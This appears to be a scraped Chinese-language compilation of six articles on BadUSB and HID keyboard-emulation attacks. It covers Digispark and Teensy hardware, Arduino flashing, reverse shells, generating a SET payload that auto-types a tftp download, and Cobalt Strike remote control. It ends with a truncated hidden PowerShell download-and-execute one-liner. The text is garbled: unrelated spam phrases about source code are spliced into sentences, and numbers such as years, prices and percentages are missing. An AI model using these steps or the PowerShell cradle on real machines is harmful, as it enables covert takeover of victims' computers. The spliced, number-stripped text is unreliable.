1.浅析几种HID硬件攻击
2.USB攻击之BadUSB实现linux和macOS反弹shell
3.Badusb黑客硬件烧写丨Heibai.Org
4.物理渗透使用BadUSB配合CS免杀实现上线
5.代号为‘badusb’的usb漏洞具体是何情况,有多大危害?
6.黑客是如何通过U盘攻击的？BadUsb制作原理

浅析几种HID硬件攻击

       一、HID介绍

       HID，全称为人类接口设备（Human Interface Device），简称为人体学输入设备。这类设备与人类直接交互，是到期提醒软件源码计算机系统的一部分。在PC端上，HID通常指的是USB-HID标准，这是微软在USB委员会上提议创建的人体学输入设备工作组所制定的标准。

       HID标准的出现，使得设备类型和功能更加丰富多样，加速了设备创新与发展的步伐。

       二、HID攻击

       HID攻击通过插入带有攻击向量的USB设备，让恶意代码直接加载执行，攻击操作迅速实现。这类攻击属于物理层面攻击。如果攻击者控制了用户的键盘，就相当于控制了主机的权限。

       造成HID攻击的原因在于HID设备类协议存在缺陷。在设备接入电脑时，操作系统首先会读取其设备标识符。如果具备特定标识符，系统便会根据标识符提供相应的功能。理论上，HID设备出厂后，其标识符便不可更改，但通过自定义标识符，计算机被模拟成键盘输入，从而实现HID攻击。

       三、发动HID攻击所需的硬件

       发动HID攻击并不局限于物联网专业人士，任何具备单片机等硬件知识的慧云卡源码用户都可能实现。以下列举几种硬件实例：

       1. Digispark单片机，拥有8K闪存，可编程部分6K。

       2. CJMCU-Beetle，平均价格RMB，提供KB闪存。

       3. 商业版定制BadUSB，俗称“小黄鸭”，价格较高，可以插入MB SD卡，外观更接近U盘。

       四、编写模拟键盘程序

       编写模拟键盘程序可以使用单片机，如Arduino。通过下载官方编译器并初始化界面，利用Arduino提供的键盘函数，如`Keyboard.begin()`, `Keyboard.press()`, `Keyboard.release()`, `Keyboard.println()`等，实现基本的模拟输入操作。

       编写代码后，进行编译、上传至单片机，然后插入目标电脑，即可触发模拟输入。

       五、新型的BadUSB（wifi版）

       近年来，出现了结合wifi模块的新型BadUSB，通过wifi连接进行代码烧录，增加攻击的灵活性。这类设备通常需要额外的设备和接线图，参考特定的GitHub地址进行制作和设置。

       六、USB killer的php 原生代码源码使用

       USB killer用于测试设备防止电源浪涌攻击的能力。最新版本的USB killer 3.0能够测试设备抵御此类攻击的能力。团队统计显示，大约%的设备无法抵御USB killer的攻击。

       七、思考与声明

       U盘作为常见的移动存储设备，其便利性也引来了一些不法分子的利用，HID安全问题不容忽视。利用人们的猎奇心理进行定向投放的攻击，可能导致信息安全问题。本文旨在提高读者的安全意识，所有涉及的攻击行为仅用于学习，不应被用于任何违法或不道德的目的。

USB攻击之BadUSB实现linux和macOS反弹shell

       1 BadUSB是什么

       BadUSB是一种通过硬件直接插入目标设备，执行代码，干扰、控制主机或窃取信息的HID攻击手段。HID设备即Human Interface Device，如鼠标、键盘等直接与人交互的设备。

       2 Teensy简介

       一个看似普通的USB设备为何具备攻击性？这是因为攻击者在定制时，会在设备中植入一个名为Teensy的攻击芯片。Teensy是一个非常小且功能完整的单片机系统，能够模拟键盘、鼠标等HID设备，当插入设备时，系统会识别为HID设备，利用微处理器、储存空间和攻击代码控制主机。

       3 Arduino简介

       Arduino是一款便捷灵活、上手简单的开源电子原型平台。它基于开放原始码simple I/O介面版，具有使用类似Java、极路由 安装 源码C语言的Processing/Wiring开发环境。只需编写程序代码，上传到Arduino电路板，即可实现电路板的预期功能。

       4 实验环境

       BadUSB硬件和Arduino软件。

       5 实验过程

       5.1 烧录过程

       打开Arduino程序，选择工具，端口，选择BadUSB对应端口。打开工具，选择开发板"Arduino Leonardo"，编辑脚本实现反弹shell，烧录进去。Arduino语法简单，setup函数为安装时运行的代码，loop函数为重复执行的代码，通常写入setup函数中。

       5.2 linux上测试

       受害机为ubuntu.，进行linux反弹shell演示。

       5.3 mac上测试

       成功反弹shell。

       5.4 注意问题

       需考虑输入法影响输入，可能导致异常。搜索栏或运行栏中已存在的字符串也可能引发异常。

       文献参考

       wiki.arduino.cn/?...

       blog.csdn.net/qq_...

Badusb黑客硬件烧写丨Heibai.Org

       BadUSB是一种恶意硬件设备，它通过利用Human Interface Device (HID)技术，尤其是键盘和鼠标，进行攻击。攻击者将恶意代码隐藏在看似正常的设备中，当用户插入电脑时，这些代码会无声无息地执行，如窃取信息、控制电脑等。图片浏览 android 源码其优势在于固件存储区域通常不受杀毒软件保护，使得攻击难以被检测。

       BadUSB的攻击流程是这样的：插入设备后，它会模拟键盘操作打开电脑的命令终端，下载并执行预先设定的恶意脚本，如PowerShell。这些脚本可能包括信息窃取、远程控制或发送邮件等恶意行为。为了实现BadUSB的攻击，文章提到使用Arduino和BS Micro pro micro leonardo开发板作为硬件，以及Teensyduino驱动和特定的代码修改，如改变邮件服务器配置和邮件主题内容。

       在进行硬件烧写前，需下载相关代码文件并进行定制，如修改邮件发送配置。接着，将修改后的文件上传到支持外网访问的服务器，通过串口信息在Arduino IDE中选择正确的端口进行烧写。最后，只需将硬件插入电脑，通过命令管理器确认设备连接，并在Arduino IDE中进行操作即可。相关教程和附件可以在"Badusb黑客硬件烧写_极客有趣_黑白网"找到。

物理渗透使用BadUSB配合CS免杀实现上线

       在数字时代，USB安全问题日益受到关注。一种名为BadUSB的巧妙技术，于年被揭示，其潜在威胁在于能通过看似无辜的USB设备操控目标电脑，无论是狭义的键盘操控U盘，还是广义的HID设备，都可能成为黑客的工具。诱饵式USB攻击，就是BadUSB渗透战术中的常见手段。

       要实施这样的攻击，首先需要做好基础准备。成本大约在元左右，包括购买定制的USB设备、烧录工具以及云端服务器。在服务器上，你需要上传必要的工具并安装如cs和screen等软件，同时下载并配置Arduino开发环境，确保BadUSB可以被电脑识别。Zading驱动的安装和设置也至关重要，这样才能让电脑正确识别并控制BadUSB。最后，progisp烧录工具是必不可少的。

       其中，安全绕过的关键在于编码和服务器交互。通过Arduino编译，将操作逻辑转化为代码，然后将其烧录到BadUSB中。例如，一个部分关键代码示例是：

//payload if (onetimeOrForever == 0) { Keyboard.begin(); ...

       在实际操作中，代码会引导设备执行一系列复杂指令，如最小化隐藏cmd窗口，下载并执行恶意脚本，以及打开特定程序如记事本。值得注意的是，所有操作都是在安全环境下编码处理，以避免落地攻击。

       当这一切准备就绪后，你可以通过BadUSB与服务器交互，执行一系列命令，如启动一个隐藏的命令行界面或下载恶意软件。然而，重要的是强调，这些技术仅限于安全研究用途，且使用者需明确了解其法律责任，因为作者对此类行为不承担任何责任。

       最后，如果你遇到类似“请求拷贝学习资料”的场景，一定要警惕，这可能是BadUSB攻击的伪装。对于任何非正常请求，保持警惕并审慎处理。

       BadUSB的巧妙配合与CS免杀技术，无疑在黑客技巧中留下了独特的印记。然而，它们的使用必须遵循道德和法律规范，以保护我们的网络安全。

代号为‘badusb’的usb漏洞具体是何情况,有多大危害?

       代号为“badusb”的USB漏洞，实际涉及的是通过定制恶意USB芯片，插入电脑后，能够控制电脑，传播预先准备的USB病毒。此漏洞源自拉斯维加斯举行的Black Hat大会，演讲者强调USB机制存在缺陷，可自定义恶意芯片，插入电脑后实现控制，利用设备微处理器和存储空间，向主机发送命令，无论自动播放是否开启，均可成功。

       在媒体的报道中，该事件被广泛宣传，媒体为了吸引眼球，可能夸大报道。而天融信阿尔法实验室的朋友在年初分享了相关研究细节，官方博客发布了研究内容，结论表明具备实战意义。但具体Black Hat大会的技术细节尚未公开，预计涉及一些高级黑客技巧。

       HID攻击是利用USB设备模拟键盘和鼠标，通过内置微处理器、存储空间和攻击代码，实现对主机的完全控制。攻击者将恶意代码隐藏在看似正常的鼠标或键盘中，插入电脑后，代码被加载并执行。

       TEENSY是攻击者使用的攻击芯片，是一个功能完整的单片机开发系统，体积小巧，具有多种项目开发和设计能力。支持包括Mac OS X、Linux和Windows在内的多种操作系统。通过Arduino IDE进行开发环境搭建，Teensyduino SDK支持库提供必要的工具。

       攻击代码可以从BackTrack中提取，首先进入/pentest/exploits/set目录，选择Social-Engineering Attacks，然后选择Arduino-Based-Attack Vector，接着选择Wscript Http Get Msf Payload，输入恶意程序的下载地址，生成名为teensy.pde的文件，导入Arduino进行编译。

       在攻击实现中，代码从setup开始执行，自动键入tftp下载命令，运行下载的exe文件。攻击效果显著，通过USB插入设备后，自动打开对话框，运行相应的命令。

       冷风的文章指出，USB设备模拟键盘操作、下载木马、执行的过程不隐蔽，容易被发现。而NSA的工具“水蝮蛇一号”则是类似但更隐蔽的无线间谍工具，看起来像普通USB优盘，实际是小型间谍电脑，可以创建无线桥接网络，上传破坏软件。

       此外，通过TEENSY芯片，可以将一个USB接口转换为多个接口，连接不同攻击设备，实现更多扩展功能。站在黑客视角，忽视新技巧的实战意义是不可取的。随着Black Hat大会公布更多技术细节，后续会更新相关情况。

黑客是如何通过U盘攻击的？BadUsb制作原理

       BadUSB是什么？

       BadUSB是一种利用USB固件固有漏洞的攻击方式。这种攻击方式会重新编程USB设备，使其充当人机交互设备。一旦重新设计，USB设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。

       BadUSB攻击原理

       攻击者会利用HID（Human Interface Device，即计算机直接与人交互的设备，如键盘、鼠标等）进行攻击，将USB设备伪装成键盘，再利用USB设备中的微控制芯片，向主机发送命令，从而实现完全控制主机。

       硬件准备

       在购物网站搜索Digispark，一个板子大概在十几块。

       Digispark驱动安装

       首先需要电脑能识别到你的Digispark，否则无法对板子进行烧录。

       驱动下载地址：github.com/digistump/Di...

       找到适合自己电脑系统的驱动，我这里用的是Windows。

       根据自己电脑系统不同位数选择不同驱动安装。

       安装成功后在把Digispark插到电脑上，就识别出来。

       Arduino IDE软件安装

       Arduino默认不支持对Digispark进行烧录，需要在Arduino中下载Digispark包安装后才可以进行烧录。

       官方开发板管理器网址：digistump.co/packagedigistumpindex.json

       在文件→首选项中配置开发板管理器的网址。

       配置完成后打开工具→开发板→开发板管理器

       搜索digispark，选择Digistump AVR Boards安装。

       安装完成后在工具开发版中选中Digispark（Default-.5mhz）

       BadUSB基本制作流程

       随后插入板子，提示Micronucleus done. Thank you!烧录成功。

       captured.cn/gif/hello.gif

       CobaltStrike远控上线Ardunio代码

       首先需要同CS生成钓鱼代码，攻击→钓鱼攻击→Scripted Web Delivery(S)

       powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('/gif/cs.gif